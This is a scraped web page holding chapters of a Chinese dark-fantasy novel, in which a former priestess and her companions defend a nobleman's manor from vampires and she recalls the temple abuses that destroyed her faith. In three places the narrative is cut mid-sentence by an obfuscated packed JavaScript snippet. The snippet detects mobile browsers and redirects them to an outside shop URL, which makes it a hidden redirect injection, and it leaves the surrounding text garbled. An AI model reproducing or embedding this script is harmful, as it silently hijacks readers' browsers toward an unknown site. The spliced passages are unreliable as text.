看着阿尔弗雷德畏缩又强撑着脸面的样子，莱雅嗤笑一声：“你刚刚体验的是一种绝望恐惧的情绪。取自我们面对吸血鬼大规模袭击时的情绪。” 她站起身，修长优雅的身形无形中带上了极强的压迫感：“如你所见，我们都是身怀魔力的魔法师，即便如此，我们面对吸血鬼时也仍旧付出了惨重的代价，感受到不断失去同伴的恐惧和绝望——” 她向阿尔弗雷德俯下身，冷淡的蓝瞳中燃着怒火。 “——所以，我们才想让更多人免于感受这种痛苦。当然，”她直起身子，转头拉着萝丝向外走去，“您的傲慢使您不愿意接受我们的好意，没关系，您会因此害死很多人的，包括您自己。” 两人头也不回地离开了，只留下阿尔弗雷德一个人跌坐在沙发里，保持着这个姿势，一动不动。 按照原定计划，萝丝、莱雅和索恩在贫民窟外围汇合。 “不同意？呵，意料之中。”索恩看见两人的表情，轻笑了一声。 莱雅叹了口气：“阿尔弗雷德这种人死不足惜，但，坎德拉宅中还有那么多无辜的仆人。” “我知道，不过，这也并非是最终的结果，”萝丝劝慰道，“先解决眼前的事情吧。” 另两人点点头，下马走进贫民窟。被烧毁的低矮建筑依旧立在道边，不过也许是知道里面的吸血鬼已经被清除了不少的缘故，萝丝并没有如上次一样紧张。 “重点寻找坍塌的房屋，以及有过被挖开痕迹的土地，”莱雅说道，“如果想要激活法阵，五芒星的五角上不可能没有相应的灵性材料和草药。而为了防止这些材料被移动，它们极有可能被埋在了地下。” “那么，只要把他们挖出来就可以破坏这个法阵了吗？”萝丝问道。 莱雅目光从废墟之上扫过，轻轻叹了口气：“但愿如此吧。” “我有一个问题，”索恩走在前边，踢开一块挡路的破木板，“有计划地组织大规模行动、埋藏相应的灵性材料、构筑魔法阵，这些行为都要求一定程度上的智能。”他转过身看着两人：“我们目前没有遇到过这种吸血鬼。” ……虽然但是你这是一个陈述句，不是问题。 腹诽归腹诽，萝丝还是回想了一下，点头道：“上次我们遇见的吸血鬼显然都听从那个城堡怪物的指令，但是，那只城堡怪物显然也没有显现出足够完成这一系列行动的智慧。这么说，极有可能还有一个幕后之人在操纵。” 三人继续往前走，都没有再说话。同样的念头在脑海中盘旋。 许久，还是莱雅率先开口：“虽然听起来恨不可能——吸血鬼始祖，对吧？” “只可能是这样了。”萝丝低声道。 吸血鬼始祖。 21. 第 21 章 提前担心这些也没有意义，这是三人达成的共识。 这也就是为什么两人此刻在这里一铲子一铲子地挖土。 为什么是两个人？因为精灵可以浴血奋战，可以锻铁炼钢，但绝不、绝对不会干挖土这种活儿！ 半精灵站在一旁，紧闭双眼，试图用精灵血脉出众的灵感天赋感应稀薄的灵性，并指挥着萝丝和索恩不断地尝试挖掘地点。萝丝和索恩则任劳任怨地在可能的地方挖掘。终于，萝丝感到自己的铲子碰到了什么坚硬的东西。 “希望不是岩层，唔。” 索恩也提着铲子过来帮忙，在两人合力之下，地底下埋藏的珍宝一点点重见天日。 那是一只巨大的口袋，系带处打了个歪歪扭扭的死结。割开死结，袋子里的东西倾泻而出。 “绿色曼陀罗、雪滴花、鸢尾花、凤尾兰，”莱雅俯身一一查看袋子里的花草，“这些都是象征光明和神圣的花。还有独角兽尾、橄榄石……毫无疑问，这是用来取悦光明父神的祭品。” 萝丝好奇道：“这么多光明材料，不会对吸血鬼造成伤害吗？” 莱雅思考了一会儿：“有可能不会。这些材料上的灵性过于稀薄，很难直接杀死一只吸血鬼。” 萝丝点点头，又问道：“就这样吗？这么大的贫民窟，难道它们只埋藏了这么些吗？” “不一定。但是，我们不需要把所有材料都挖掘出来，”莱雅解释道，“这种复杂的大型魔法成功率很低，我们只要带走这些就足以降低仪式成功的概率了。更何况，我们还能守住教堂，这样法阵能成功启动的概率就更低了。” “唔，这样啊。” 虽说如此，萝丝却还是感觉到心头疑虑重重。 显然，一个魔法阵放大到一座城市的大小后，其精确度不可避免地会降低许多。如果这些材料只要能摆在大致的范围的话，为什么不再法阵启动前扔到相应的位置就好？或者藏起来？这样大费周章地袭击一个地方，不是更容易引人怀疑么？ 除非，吸血鬼的袭击还有其他目的…… 这时，他们听见了一阵马蹄声由远及近，贫民窟本就破烂狭窄的道路上扬起一阵阵尘埃。三人都不由得抬手掩面。 尘烟中，一前一后跑出两匹马。前面的人看见他们，露出欣喜的神色，回头道：“坎德拉大人，找到他们了！” 坎德拉？ 索恩和莱雅都挑了挑眉，想也不想就能知道两人面上肯定都带上了冷笑。只见阿尔弗雷德?坎德拉示意那人退下，随后翻身下马走到几人面前，向他们深鞠一躬。 “抱歉，早上的事情是我太武断了。关于你们说的提供保护的事情，我们可以再谈谈吗？” 从教堂的侧门进去，进入礼拜堂时，萝丝吃了一惊。“尼克？” “萝丝大人——小姐！” 听见男孩的声音，坐在长椅上的二三十人齐齐回过头来，带这些小心和好奇看向她。看见她身后皱着眉的阿尔弗雷德时，他们又低下头去。他们大部分人都面黄肌瘦，肤色黝黑，但身上的衣服却尽可能地做到了干净整齐，可以看出这是他们已经穿上了自己最好的衣物。 “萝丝小姐，”看见萝丝，尼克脸上带上了由衷的喜悦，“我照您说的，把大家都带过来了！所有愿意来的人都在这里了！” 他的手中还攥着她的那枚小小的护身符，将他的黑眼睛映得亮亮的。萝丝一笑：“你做得很好，尼克。大家就放心待在这里吧，我们会努力让大家都安顿下来的。” 莱雅向角落里长出一口气的彼得老人点点头，随后向萝丝道：“我和彼得来安置他们。” “好，麻烦了。” 一直走到那间告解室中，阿尔弗雷德才开口道：“萝丝小姐，您关于收容所有人的计划，是认真的？” “不然呢？”萝丝反问道，“您难道觉得我是那种当面一套背后一套、用虚假的希望欺骗人们让他们心甘情愿交钱的人吗？” “不，请不要曲解我的意思，我是说，您应该考虑这样的后果和成效。比如粮食和空间问题，以及您还应该争取新议会的认可——” “坎德拉先生。”萝丝出言打断他，声音不轻不重，却不知为何极具威慑力，让人不自觉地想要阐述自己的罪恶，乞求宽恕和仁慈。告解室内光线暗沉，一道光芒照亮她的半张脸，显示出宛如圣母像般的悲悯神情。而另外半边脸却隐藏在阴影中，晦暗不明，令人不敢直视，不敢探究。 “坎德拉先生，您可能没有弄清楚。我想帮助您，不是因为您富有、祖上是贵族，更不是因为您可笑的一文不值的议员头衔。”她的声音冷冽，使人如坠冰窟，“我想帮助您是因为我想帮助所有人，无论贫富，无论出身。如果您认为外面的那些人们不值得帮助的话，很遗憾，我认为您也绝不属于值得帮助之列。明白了吗？” 阿尔弗雷德身后，索恩已经拉开了门，做出送客的姿势。他突然觉得口干舌燥。 那一番简直是羞辱的话语不知为何并未让他愤怒，反而使他感到一种难言的恐惧。他突然明白过来，自己的偌大家财、贵族身份在对方眼里都不值一提。在她心中，他的生命甚至不如那些每天在泥浆里打滚、挣扎求生的人的生命重要。如果有必要，她绝对会毫不犹豫地放弃他！ 甚至，他不怀疑她会亲手杀掉阻碍她的人。 冷汗顺着他的脊背滑下。 “抱，抱歉，是我失言了。请您原谅，我并无意冒犯。如果可以，我们还是回到正题上来，好吗？” 萝丝微微点头：“回到白天所说的，我们预测您的宅邸会遭到吸血鬼的袭击，所以我们想住进您的家中，设置一些必要的防护措施并且提供一些对吸血鬼有效的武器。但是，这一切都有一个条件。” “条件？可是早上您没有——” “现在有了。”萝丝冷冷道，“第一，我们会向您提供含银的子弹，相应的，您也要给我们相同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13039062|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重量的银用来制作新的武器；第二，我要您和萨姆一起，说服菲利普，开仓放粮。明白了吗？” “第一条很简单，但是第二条……你知道，菲利普是一个很顽固的人。”阿尔弗雷德露出为难的神色。 萝丝轻轻嗤笑一声：“比您还顽固？放心，在生存的威胁之下，人们迟早会发现什么才是最重要的。如果你担心说服不了他，可以向他转告我的原话：我能对付吸血鬼，就一定能对付人。任何试图阻止开仓放粮的人，一律按照吸血鬼同盟处置！” “明……明白了。” 半明半暗中，萝丝露出一个笑容，令人不寒而栗。她既像是救人于水火的天使，又像是施人以灾厄的恶魔。她是一些人的救世主，是奶与蜜，是治愈和救赎；却也是一些人的刽子手，是血与火，是即将吹响的审判之号。 “很好，我们现在可以讨论防御工事的问题了。” “可真有你的。”索恩突然对她说道，“今天白天。” 他们坐在坎德拉宅邸中原本属于守夜人的小屋里，看着庭院中莱雅在最后一遍检查魔法阵的布置，家仆们紧张地往枪中装填银弹。熔金般的落日一点点沉进荒原之下，黑夜即将降临。 “什么意思？” 面具之下，索恩一笑：“你恐吓坎德拉时，还真有点神殿的神官的味道。” “你这么说可就太伤人了！”萝丝抗议，“我说的是真心话，并没有故意吓唬他的意思。而且，我也真的很讨厌神殿！” “是啊，”索恩轻轻点头，“正因为是真心话，坎德拉才会被吓住。因为他知道，他一直以来赖以生存的优渥条件在你眼中不过还比不过尘埃蝼蚁。他甚至知道你有可能真的会威胁到他的生命。” 萝丝也笑了，简直称得上甜美可爱：“就是这样才好啊。贵族们只有意识到生命面前金钱不过是粪土时，才会拿别人的性命也当做命。而且，动荡时代，贵族被推上断头台也是常事，更何况是一座吸血鬼肆虐的封闭城市？” 被她感染了，索恩也不由得笑出了声，锐利的眉眼都温和了几分：“这也就是我为什么愿意誓死追随你，前任神官大人。” 这也就是为什么我这么喜欢你，萝丝。 后一句话他没有说出口。坦白来讲，他自己也被这想法吓了一跳。这只是一种欣赏，他想，单纯的欣赏，无关爱慕。他这么安慰自己。 两人一时间都沉默下来，静静地看向窗外。 随着最后一抹金光从地平线上消失，黑夜正式笼罩大地。整座坎德拉宅邸灯火通明，女人、孩子和老人都被聚集到一间房间中，由莱雅和几名家仆守护。其他人都如弦上之箭一般，紧握着武器，随时准备投身于战斗！庭院中的法阵已经埋伏好，银弹在枪膛中待命，触手可及的地方放满了一端削尖的杉木桩。一切就绪，只等吸血鬼如约到来。 万籁俱寂中，索恩听见萝丝轻轻的声音：“今天我们都活下来的话，你可以教我剑术吗？” 22. 第 22 章 相当寂静的夜晚。没有风声，没有鸟鸣，人们几乎能听见自己的心跳声在黑暗中不屈不挠地不断响起。 时间一分一秒流逝，逐渐接近午夜。 “你说，吸血鬼今晚会来吗？” 索恩仔细地用手帕擦拭着重剑的剑身，随口答道：“谁知道呢。也许坎德拉会觉得我们在耍他。” “也许吧，”萝丝看着窗外，“不过根据前面几次袭击的间隔，应该也就是最近几晚了。” 索恩应了一声，隔了许久，突然说道：“你对自己魔力流失的事情，很在意。” 萝丝苦笑了一下：“当然。” “……你知道原因吗？” 一个难得的、真正的问句，萝丝想。“我想我知道。这是……惩罚，是我失去了对神的信仰的惩罚。” “因为阿德玛城的事么？” “不，不完全。实际上，在那之前我就已经开始出现魔力衰退的迹象了。”萝丝垂下眼，“如果你突然意识到，神不会惩罚恶人，不会嘉奖好人，行恶者以神之名作恶，行善者因信仰而死，谁又能保证自己的信仰不会动摇？” 她继续说下去：“而这种事情在神殿里太常见了。征财敛赋、酗酒暴食、纵欲狂欢，太多了。哪怕我被小心地圈养起来，这些事情也迟早会传进我的耳朵里。相信我，这对于保持虔诚没有任何正面作用。” “不过，真正击溃我的信仰的，应该是那一次。” “祭典马上就要开始了，瓦西里神官呢？” “不知道啊，玛丽安你去带几个人在外面找找。” 走廊上乱糟糟的，许多仆人窜来窜去，显然是因为瓦西里神官的缺席而担忧。距离祭典开始只剩下不到一个小时的时间，而本该在准备祝祷词的瓦西里神官却不知所踪。 “怎么了？不要慌张。” 清澈温柔的声音响起，所有仆人都惊喜地看向萝丝。她已经换上了白底金边的华丽法袍，红发一丝不苟地盘起，白色的头纱上点缀着各色宝石与魔法石，尤其是正中央一颗黄金底座镶嵌的橄榄石，衬托得她的绿眼睛更加澄澈耀眼。 萝丝的出现几乎是给了仆人们一记定心丸，他们立刻安静下来。一位女仆长站出来行了个屈膝礼，恭敬道：“莫蒂默大神官大人，我们发现瓦西里神官大人不见了。” “这个时间？由他主持的祭典不是马上就要开始了吗？” “是啊，所以我们才这么着急。” “知道了。”萝丝一抬手，一只小巧的猎鹰从她掌心跃出，在空中一展羽翼，身形瞬间涨大了数倍。它尊敬的在萝丝面前伏下身，萝丝站上鹰背，向女仆长道：“麻烦帮我告诉主教大人，我去寻找瓦西里神官，一刻钟之内，绝对会将他带回来！” 女仆长点点头，只听巨鹰仰头啸鸣一声，羽翼挥动，卷起极为强劲的气流，瞬息间便从窗口飞出直上蓝天！ “好了，交给莫蒂默大人就绝对没问题了。”女仆长理理被风吹乱的头发，正要指挥仆人们继续工作时，就看见一名嬷嬷从走廊一头跑来：“你们看见莫蒂默神官了吗？千万别让她去找瓦西里那头肥猪！” “啊？可是，她刚刚出发，瓦妮莎嬷嬷。” “该死的！”嬷嬷骂了一句，转头又向外冲去，“快去找人拦住她，千万不能让她去那种地方！” 蓝天之上，雄鹰翱翔。 风呼呼地刮过耳边，吹起她的头巾。萝丝看着脚下小小的房屋和米粒般的人，不由得快乐地笑出了声。 她好久没有离开神殿了！ 上一次出门还是去莫蒂默伯爵那里，又是马车又是一大堆仆人的。这次只有她一个人！她是完全自由的！ 萝丝不禁小声欢呼了一会儿，还做了几个不太淑女的动作。如果被瓦妮莎嬷嬷看见了肯定会责备她，但现在瓦妮莎嬷嬷是不可能管到她的！ 她现在在蓝天之上，即使神殿也被她甩在了后面！ 当然，正事还是要办的。萝丝很快收敛了心情，驱使这巨鹰在城中寻找着瓦西里神官的身影。不久，巨鹰便发现了目标，直直俯冲下去，降落在屋顶上。 萝丝从巨鹰背上跳下来，打量四周。这里房屋低矮，地面是没有铺过的泥地，四处都杂乱而肮脏，空气里有一股淡淡的排泄物的气味。萝丝不禁皱了皱眉头。瓦西里神官怎么会在这种地方？ 但是完成了任务的巨鹰已经遁去，她只好跳下屋顶，再次环视四周。 周围是一排排房间，看起来相当狭窄。眼下已经是下午，而这些房间里却依旧没有什么声响，安静得像是没有人住。也没有人走动，连个可以打听的人都没有。萝丝正犹豫不决，忽然听见了瓦西里神官的声音。 “呼……好孩子，再快一点……好孩子，好孩子……” 在那里！ 萝丝循着声音迅速锁定了位置，想也不想推开了房门！而眼前的一幕，令她完全不知所措，张口结舌，手指着瓦西里神官倒退了几步，却什么也说不出来。 瓦西里神官此刻享受的神色也完全消失不见，取而代之的是惊惶和恼怒。他一把把跪在他腿间的女孩甩到一边，手忙脚乱地穿好法袍跑出门外，满是横肉的脸上堆起谄媚的笑：“莫蒂默大神官，您听我解释，我——” 萝丝没有说话，一抬手。瓦西里吓得退了一步，而萝丝却只是召唤出了巨鹰，一把抓住他的肩头，带着他飞走了。 “后来，瓦西里就消失了。教皇为此震怒许久，很多人都受到了惩罚——包括我。” 索恩默然。神职者出入风月场所对于他而言不是新闻，甚至是大家心照不宣的事情。但，可以想象，这对于一个从小在神殿长大的女孩有多么可怕。 “这甚至不是最让我难过的。我知道，我知道神殿里也发生过许多龌龊事，我也知道，只要我和其他人一样装作不记得发生过这些，只要我自己坚持洁身自好，就可以仍旧好好地生活下去，敬奉神，信仰神。阿门。” “但我根本做不到。” 后来，萝丝又偷偷溜出去了一次。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049613|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她甩掉了跟着她的侍女，往身上撒上了可以迷惑耳目的药粉，再次来到了那个地方。费了些许周折，她找到了那个女孩。 “您想做什么，大人？” 女孩坐在床头，盯着她。 劣质的化妆品掩盖不住浓重的黑眼圈和脸上的皱纹与血丝，鲜艳的布料包裹之下的躯体已经浮肿而倦怠。她看起来才不过二三十的年纪，嗓音就已经带着风尘半生的嘶哑粗俗。 面对她，萝丝哑口无言。原先想好的那些安慰听起来似乎都太残忍了。她想了想，拿出一只钱袋，递给她：“对不起，我替那个人向你道歉。” “我可不敢让您给我道歉，大人。再说，您为了啥道歉呢？” “因为……因为他那样对你。” 出乎萝丝意料的，女孩笑了起来，笑声粗嘎阴郁：“哎呦，您在说什么呀？他怎么对我了？您说，他怎么对我了？” 萝丝涨红了脸。 女孩很快又停下了笑，恢复到无动于衷的样子，说道：“您不用道什么歉，我也不要您的钱，反正我也拿不到一毛。您快走吧，我还要接下一位呢。” “可是！”萝丝又着急又难过，反而更加结结巴巴起来，“我可以帮、帮你的。真的！” 女孩摇摇头：“您和那些大人说话一个样，可是，他们没有一个人真帮过我。算了，您走吧，我为了您这些大人吃的苦头已经够多了。上次被打的那一顿都还没好呢。” “我当时不知道她会因为这件事挨打，也不知道我去找她会给她带来什么样的影响。我当时什么都不知道。后来，我再去那里找她时，她就已经不在了。” “也就是那一段时间，我开始试着回应祈祷。就是满足愿望。人们许下愿望，呼唤神的名字，我们便可以通过神器接收到，然后消耗魔力满足愿望。他们教我，只需要满足那些富人的愿望。尤其是那些给神殿捐款多的富人，有什么愿望我们都应该尽力满足。” “可是，大部分愿望都是穷人的。他们想要吃饱饭，想要来年赋税少一些，想要自己死在外面的儿子女儿回来……有时候，我会偷偷回应他们的祈祷，可是大多时候我都无能为力。” “但是每一条祈祷我都听完了，每一条……后来我终于意识到，对于穷人们而言，神殿从来不是救赎，不是希望，只是一群趴在他们身上吸血的蝗虫，仅此而已。” “所以，我再也无法信仰神了……” 萝丝说不下去了。她低下头。 “不得不说，我认同你的观点。神殿那群人值得一切下地狱的词，他们像蛇一样扭曲肮脏，像猪一样贪婪，像吸血鬼一样见不得光——可你不一样，萝丝，看着我，”他金色的瞳孔被黑夜蒙上一层更深的颜色，深邃却又闪着光，仿佛暗夜之中有炬火在燃烧，“你和他们不一样，你是救赎，你是希望。” “希望？可是我——等等，嘘——” 两人不约而同地噤声。窗外，一个黑影飞速闪过。 “——它们来了。” 23. 第 23 章 “那夜的恐怖突然来临 我失去了挚爱的一切。”[注1] 这句不详的诗歌在阿尔弗雷德?坎德拉的脑海中不断回响，如同一句谶言一般压在他心头。 若不是偶然间看到了这句诗，他也许压根不会把那个自称萝丝的女孩的话当真。而这首诗成功地让他改变了主意。他想，我可以承受很多、很多可怖的下场——但我绝对不能失去我挚爱的人们。 父神啊，如果我犯下了什么罪过，可以只惩罚我一人吗？ 无人听见他心中的祈祷。隔壁传来女儿和厨娘的女儿玩闹的声音，眼前是浓稠的夜色。他感到焦躁，又不敢轻举妄动，只能坐在窗边，徒劳地盯着沉沉夜色。 时间一分一秒地过去，逐渐接近午夜，还是没有任何动静。仆人们不禁也松懈了些许，低声抱怨着“装神弄鬼的家伙”。 阿尔弗雷德制止了他们之间的窃窃私语，让所有人回到岗位上严阵以待。但其实，他自己心里也有些打鼓：真的会有怪物吗？这是一场骗局吗？ 突然，一道黑影从窗外闪过！ 阿尔弗雷德猛地起身，房间里所有人都端起了枪。他蹑手蹑脚走到窗边，瞪大了眼睛看着窗外，却一无所获。正当他要走开始，突然对上一张丑恶的脸孔！ 阿尔弗雷德吓得大叫了一声，再一看，玻璃外的哪里是丑恶的脸，而是他的母亲，正慈祥地望着他。 “阿尔……” “母亲……” 他痴迷地向前走了几步，正要伸手去拔窗台上的插销，忽然一颗子弹从他脸颊边擦过，一声惨叫传来，窗外的吸血鬼从二楼直直坠落！ 这声枪响如同开端一般拉开了战斗的帷幕，一时之间，枪声四起。 “省着点子弹！” 莱雅一脚踢开窗户从二楼一跃而下，手中端着一支步枪——也是她设计的——冷静地开枪。一次只打一枪，每一颗子弹必定命中一只吸血鬼的心脏或者头颅。 萝丝和索恩也从房间中冲了出来。两人相互照看着对方的后背，默契地和院落中成群的吸血鬼战斗起来。 而他们的老朋友也没有缺席。房顶上，一个畸形的巨大身影出现。随着它仰天发出凄厉的吼叫声，无数吸血鬼前仆后继地向他们扑来！ 是的，和教堂那一晚一样，无数双黑暗中泛着红光的眼睛，无数的吸血鬼源源不断地涌进来！ 这边经验丰富的三人组迅速投身于战斗之中，然而并非所有人都能像他们一样临危不惧。许多家仆们看清楚吸血鬼的脸孔时便已吓得毛骨悚然，端枪的手都不稳了，谈何战斗？ “啊，约翰，别过来，别过来——” 一声声惨叫从宅邸内部响起。总会有人心志不坚定给了吸血鬼可乘之机，而正面作战的三人也并不能做到面面俱到。 “所有人，关紧门窗！无论如何不要开门！” 阿尔弗雷德在最初的惊吓过后迅速反应过来，高声喝道。可是受到惊吓的仆人抖着手指向他身后，连一句完整的话都说不出来。他回过头，只见数只吸血鬼撞开窗户，一拥而入！ 极度的恐惧反而让人冷静。阿尔弗雷德劈手夺过仆人手中的枪，一枪打倒了其中一只，接着揪着仆人的衣领向外一扔：“跑！” 他们狂奔到走廊上，那几只吸血鬼紧随其后，几乎要咬到阿尔弗雷德的脚跟。他反身又是一枪，击中了一只吸血鬼的眉心。而一发子弹几乎同时到达，杀死了他身后的吸血鬼。 “戴维！” 多年的管家向他的主人点点头，随后枪口指向另一只吸血鬼。 此时，宅邸内部已经被吸血鬼侵占，激烈的交火在走廊上展开。不时有人或吸血鬼倒下，鲜血将名贵的地毯和墙纸统统染成深红色。激战中，阿尔弗雷德还是抽眼瞥了一眼长廊中央的那间大厅。所有的老人、小孩和妇女都在其中。父神在上，那里看起来还没有被攻破。 枪里的银弹很快被打空，阿尔弗雷德跨过身前的一具尸体，拔出长剑。 “以我的姓氏起誓，我决不会让汝等恶魔伤害到他们！” 眼看庭院中的吸血鬼越聚越多，萝丝和索恩交换了个眼色，突然转向同一个方向集火，从包围中杀出一条路！ 距离庭院边缘几米远时，索恩拉住萝丝猛地向前一跃，同时，莱雅引爆了庭院中的法阵！ 冲天的火光顿时照亮了整个庭院。奇异的是，烈焰的范围被限制在了法阵中，没有向周边蔓延。 此起彼伏的尖嚎从火焰中传出，肉眼可见的，一道道黑影在火焰中扭曲变形，庭院中的吸血鬼几乎全军覆没！ “它们增加的速度变慢了，这是好事。”索恩一脚把一只吸血鬼踢进火焰里，“你还好吗，银弹还够吗？” 萝丝转身，接连几枪撂倒了一群吸血鬼：“还剩三发，你呢？” “已经打完了。” 索恩拔出沉重的长剑在空气中挥舞出凌厉的风声。萝丝配合着他，打完了最后的三发子弹后，拔出木桩向重伤的吸血鬼补刀。 “好消息，它们没有再源源不断地增加了！” 木桩在钉进一只吸血鬼的身体时折断，萝丝索性一脚把那只吸血鬼踹开，拔出迅捷剑和索恩背对背站立。 “坏消息是他们的数量依然很多，我们至少还要坚持三个小时。”索恩狠狠甩开一只差点咬伤他的吸血鬼，长剑回防架住另一只吸血鬼的腥臭牙齿！ 还有三个小时。 萝丝喘了口气，单手持剑，另一只手摸出小银刀：“希望宅邸里一切都好。” 宅邸里的情况实在是不容乐观。 所有有战斗能力的青壮年们都聚集在了二楼的走廊上，拿着手边一切可以拿到的武器和吸血鬼浴血缠斗。没有枪就用剑，没有剑就用刀，如果连一把屠刀都没有的话，就用桌腿、花瓶、壁炉钳等一切手边有的东西，不顾一切地向着敌人挥舞过去。残暴的、血腥的战斗方式让长长的走廊上遍布尸体，腥臭的味道四处弥漫。 他们必须战斗。他们的亲人们都在这两间房中，无助的老人、妇女和孩子们。如果让哪怕一只吸血鬼闯入，这都将是毁灭般的灾难。 横在门把手间的木棍死死卡住门，无论是从里还是从外面，房间的所有出入口都被牢牢锁上。一具具尸体堆叠着倒在门前，像是构成了最前方最悲壮的防线。 “撑住！只有不到三个钟头了！” 人群中不知谁喊了一声，似乎带来了些许希望的光明。然而下一刻，一声震耳欲聋的吼声传来，伴随着墙体被撼动的震颤！ 几扇窗户被同时震碎，玻璃渣爆裂开如同凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050114|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉的雨点，包裹着一个畸形巨大的黑影闯入长廊中。一个人躲闪不及被怪物踩在脚下，当场殒命！ 惊声尖叫此起彼伏。巨大的力量差异让战斗几乎变成了碾压式的屠戮。子弹、刀剑在怪物身上划开一道道破口，怪物却如同无知无觉一般，不为所动地向前推进，信手撕碎前行路上的所有障碍！ “坎德拉老爷！” 一直拼杀在第一线的阿尔弗雷德已经身负重伤，眼见怪物手爪向他抓来，几乎没有还手之力。管家戴维惊呼一声，抬起枪口对准怪物的头颅就是一枪。普通的子弹阻滞了一下怪物的行动，它缓缓扭动头颅，众人便眼睁睁地看见刚刚射入的子弹头被新生的血肉弹了出来，落进地毯中，悄无声息。 魔爪再次伸向阿尔弗雷德。戴维再想开枪，手中枪却偏偏在此刻哑火。就在这时，一只闪着银光的长剑破空而来，从后背深深没入怪物皮肉中！ 众人扭头看去，消失许久的半精灵蹲在窗口，手持长弓英姿飒爽，冰蓝眼眸中燃起冲天杀意！ “你的目标是我。” 说完，她向后一跃没入夜空之中。 坎德拉宅作为一座古宅，其内部建筑相当繁多且复杂。莱雅在其中凭借着精灵的敏捷迅速前进，一边根据身后墙体被破坏的声音判断怪物的远近。 她手腕上的伤口正在缓慢愈合，但比起真正的精灵而言，这个速度已经过于缓慢了。失血的晕眩感有时会让她的速度稍稍放慢些许，不过目前还不碍事。她已经老了，行将就木，这个恢复速度已是相当难得。 精灵的鲜血对于吸血鬼有着致命的吸引力，足够把这只怪物从正面战场上引开。而为了保证效力，莱雅至少往自己身上洒了几乎二分之一夸脱的血[注2]。但愿有效，她想，但愿半精灵的血液也勉强够格。 怪物还在追逐。而眼前弯弯绕绕的道路已到了尽头，只有一块空地被月光照亮。莱雅突然停下脚步，借助着怪物停不下来的势能狠狠一剑刺向它的心口！ 怪物吼叫一声，抓住剑身直接把剑拔了出来，连剑带人扔到一边。莱雅落地一个翻滚躲开怪物的攻击，向着空地中央跑去。 怪物立马追上去。看准时机，莱雅故技重施，猛地刹车，这一次，她的剑插进了怪物的脚背之中！ 剑锋穿透脚掌刺进土地之中，将怪物钉在地面上。愤怒的怪物一爪打飞了莱雅，俯身试图拔出自己的脚。莱雅被拍飞到一边，连嘴边血丝也来不及抹去，站起身将药粉洒向空中，口中吟唱起由精灵语谱写的歌谣！ 光芒从土地中升起，荧光一点点汇聚成为锁链，顷刻间缠上怪物的腿脚！怪物拔出剑向着莱雅掷去，莱雅扭身躲开，口中吟唱不停，锁链越来越粗越来越长，将怪物的双手双脚都牢牢缠住。再想挣扎已经晚了，怪物无论如何也无法拧断身上似乎没有实体的枷锁，只能徒劳地发出一声又一声嘶吼。 莱雅从腰间拔出一把尖刀向着怪物走进，口中的吟唱并未停下。月光下，她修长优雅的身形仿佛迈着舞步，手中尖刀高高扬起！ 刀刃切割开皮肤的一瞬间，怪物脸上狰狞和愤怒的神情都消散了，取而代之的是一种如梦似幻般的温柔笑意，像是少年在人群中瞥见了一眼心上人，又像是老者终于看见了死神带来的解脱。 下一刻，头颅滚落。 24. 第 24 章